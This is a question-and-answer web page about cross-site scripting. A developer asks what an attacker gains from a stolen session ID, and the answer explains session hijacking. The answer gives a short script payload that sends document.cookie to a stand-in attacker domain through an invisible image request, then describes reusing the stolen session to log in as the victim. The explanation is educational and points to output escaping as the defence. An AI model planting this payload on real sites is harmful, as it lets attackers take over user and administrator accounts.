Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 956411
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 16, 20262026-05-16T00:32:04+00:00 2026-05-16T00:32:04+00:00

So, preventing website from XSS attack is very simple, you just need to use

  • 0

So, preventing website from XSS attack is very simple, you just need to use htmlspecialchars function and you are good.
But if developer forgot to use it, what can attacker/hacker do? He can get your session_id, right? And here is a question. What can he do with that?
Thank you very much.

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-16T00:32:05+00:00Added an answer on May 16, 2026 at 12:32 am

    So, preventing website from XSS attack is very simple, you just need to use htmlspecialchars function and you are good.

    Right. Use it anywhere when you’re going to redisplay user-controlled input. This concerns all parts of the HTTP request: headers, body and parameters.

    But if developer forgot to use it, what can attacker/hacker do?

    S/he can insert some malicious HTML/script. E.g. the following in some message/comment at a webpage:

    <script>document.write('<img src="http://hackersdomain.com/fake.gif?' + escape(document.cookie) + '" width=0 height=0>');</script>
    

    The above will request an image from the mailicious domain along with the document cookie as query string.

    He can get your session_id, right? And here is a question. What can he do with that?

    The session ID is stored in a cookie. Once the hacker is notified about that an image has been requested with the cookie in query string, all s/he has to do is just to edit the browser’s cookie to include the same session ID to get logged in as the original user. This is obviously very dangerous if the original user is the site admin.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I'm on Windows and Python is (very effectively) preventing me from sending a stand-alone
I recently came across a website that disabled text selection , preventing anyone from
I'm doing some maintenance on a clients website that uses the simple mysql_query() function
My website's comment function is being constantly bombarded with spam posts from these two
In my java app I'm preventing XSS attacks. I want to encode URL and
I need a cross browser way of capturing the right mouse click, preventing the
I'm getting this EndpointNotFoundException on a webservice call from a website, while the same
I am trying to get Json format data from this website .. http://www.livetraffic.sg/feeds/json however
I have a website that grabs a random entry from a database and displays
I am having trouble preventing a DIV from wrapping to the next line when

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.